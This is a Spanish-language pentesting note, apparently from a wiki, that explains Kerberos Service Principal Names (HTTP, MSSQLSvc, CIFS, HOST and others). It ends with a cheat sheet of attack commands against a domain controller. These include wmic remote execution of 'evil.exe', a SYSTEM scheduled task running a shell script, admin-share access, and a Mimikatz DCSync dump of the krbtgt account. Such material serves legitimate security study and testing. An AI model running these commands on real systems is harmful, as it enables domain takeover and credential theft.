Service Principal Name (SPN)
Un Service Principal Name (SPN) es un identificador único asignado a cada instancia de servicio que se ejecuta en un servidor y utiliza el protocolo de autenticación Kerberos. Los SPN se utilizan en los sistemas de Active Directory (AD) para ayudar a los clientes a asociar un servicio específico con una cuenta de inicio de sesión y autenticar de forma segura los servicios de red.
Aquí hay algunos de los SPN más comunes y sus usos asociados:
HTTP: Se utiliza para servicios web o aplicaciones que funcionan sobre HTTP/S. Es importante para la autenticación en aplicaciones web y servicios que utilizan Kerberos para la autenticación integrada de Windows.
MSSQLSvc: Utilizado por las instancias de Microsoft SQL Server. Este es crítico para la autenticación y las conexiones seguras a bases de datos SQL.
WSMAN: Utilizado para la administración basada en estándares de hardware y sistemas operativos (Windows Remote Management).
TERMSRV: Utilizado por los servicios de Terminal Server (Remote Desktop Services). Es vital para la autenticación en sesiones de escritorio remoto.
CIFS: Utilizado para el sistema de archivos de Internet común, relacionado con el intercambio de archivos y los servicios de impresión.
HOST: Un SPN genérico que representa cualquier servicio predeterminado en un sistema operativo Windows.
SMTPSvc: Para el servicio de transporte de correo simple, utilizado en la autenticación de servidores de correo electrónico.
Posibles vectores de ataque:
WMI
HOST + RPCSS
wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting
CIFS + HTTP + (wsman?)
New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM
HTTP + wsman
New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks
HOST
schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS)
CIFS
dir \\dc01\c$
LDAP operations including Mimikatz DCSync
LDAP
lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools
RPCSS + LDAP + CIFS
/
Última actualización